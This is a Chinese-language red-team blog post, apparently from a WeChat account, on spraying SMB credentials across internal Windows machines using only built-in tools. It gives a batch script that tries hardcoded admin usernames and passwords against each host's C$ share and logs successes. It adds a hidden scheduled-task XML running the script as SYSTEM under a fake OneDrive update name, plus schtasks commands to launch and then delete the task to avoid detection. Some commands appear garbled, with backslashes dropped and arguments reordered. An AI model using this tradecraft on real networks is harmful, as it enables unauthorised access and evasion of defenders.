0x01 场景说明
之前有弟兄无意中问道,怎么才能在不依托任何三方外部工具的前提下,对内网所有开了445端口的windows机器进行批量Smb喷射,也可能是遇到了一些比较特殊的场景需求吧,其实非常简单,一个批处理足矣,之前好像也写过类似的,记不太清了,只是当时写的太差,很乱,所以就打算再重新搞下,本身没什么技术含量,因为是批处理,又全部用的系统内置工具,理论上只要有一个能正常跑cmd的地方就可以用,而且支持所有windows版本,在某极个别苛刻场景条件下的适应性还是很强的
0x02 实操过程
首先,依然是从一个BypassUAC后的 Beacon shell开始,通过简单探测发现如下Windows机器的445可通
接着,准备好喷射脚本,然后再把事先通过其它渠道搜集到的(域)管理账号密码写进去,不用太多,一次三四个足矣,另外,中间的每次连接都加了延迟
@echo off
set user=administrator motooits
set pwd=Admin12345 admin!@#45 Motoo123!@#45
for /f %%i in (c:/users/public/host.txt) do (
for %%j in (%pwd%) do (
for %%k in (%user%) do (
net use \%%ic$ /user:"%%k" "%%j" > nul && ping 127.0.0.1 -n 2 > nul && if %errorlevel% equ 0 ( echo %%i %%k %%j Login Succeed && echo %%i %%k %%j Login Succeed >> c:userspublicSmbCache.txt ) && ping 127.0.0.1 -n 2 > nul && net use \%%ic$ /del > nul && ping 127.0.0.1 -n 2 > nul
)
)
)
实际中脚本可能还要跑一段时间,为了不影响后续的其它操作,同样,还是把它放到计划任务去执行,之后,回到本地机器创建一个计划任务模板,注意如下的勾选项,创建完成后导出xml,因为后面会直接用xml来创建计划任务
Xml内容如下,唯一需要注意的就是,此处是以system权限运行的,关于其它每个标签项参数的具体用途说明非常简单,弟兄们自行看下即可,此处不再赘述
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2020-08-02T09:46:39</Date>
<Author>MOTOOLiWei</Author>
<URI>OneDrive Standalone Update Task-S-1-5-21-284927032-1122706408-2778656994-1127</URI>
</RegistrationInfo>
<Triggers>
<CalendarTrigger>
<StartBoundary>2020-08-02T10:05:00</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="Author">
<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>c:userspublicSmbBru.bat</Command>
</Exec>
</Actions>
</Task>
额外补充, 查询指定用户sid,注意,本地和域的sid稍有不同
where name='liwei' get sid wmic useraccount
最后,创建执行计划任务,进行后台喷射,一般情况下当计划任务正常执行起来之后,就可以立即删掉了,尽量避免被发现,或者别把它创建在根下,放到根下的Windows或者Office也行
"C:UsersPublicOneDrive Standalone Update Task-S-1-5-21-284927032-1122706408-2778656994-1127.xml" /tn "OneDrive Standalo***" schtasks /create /xml
"OneDrive Standalone Update S-1-5-21-284927032-1122706408-2778656994-1127" schtasks /run /tn
"OneDrive Standalone Update S-1-5-21-284927032-1122706408-2778656994-1127" schtasks /delete /F /tn
"OneDrive Standalone Update S-1-5-21-284927032-1122706408-2778656994-1127" /query /fo list /v schtasks /tn
实际喷射效果
小结:
关于喷射,需要多说明一点,务必要保证极强的针对性,非常不建议一上去不管三七二十一,撸着工具就开始一堆账号密码批量C段盲跑(发现很多弟兄都爱这么干,省心是省心,如果目标内网环境宽松,没啥问题,稍微严一点,估计就要付出代价了,某些工具在喷射之前还会进行一次端口扫描,这样可能就会造成非常多的重复性的端口探测动作,还是那个原则,给对方留的东西越少越好,不管是流量,工具,样本...想不留任何东西,不太现实,但还是尽可能留的少一些吧),一个是动静儿大(中间会产生非常多的无意义连接,比如,有些机器445端口本身就是没开的,但还是去尝试了一次连接),另一个就是,大大增加了喷射时间,所以,实在没有必要,更高效的喷射,应该是你已经事先明确知道哪些机器上开了端口,然后后续只需再针对这些机器进行小范围的微量随机喷射,废话不多讲,祝弟兄们,好运
如果觉得确实还不错,也欢迎积极转发留言,以便让更多真正需要的人都能看到,如遇到文中错误,也欢迎随时私信指正,非常感谢
非常期待能和更多真正志同道合弟兄一起深入交流学习,( 还是那句话,维护不易,乱七八糟的人就不要来了,非常感谢 )
本文始发于微信公众号(红队防线):不依托任何外部工具隐蔽进行smb喷射
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论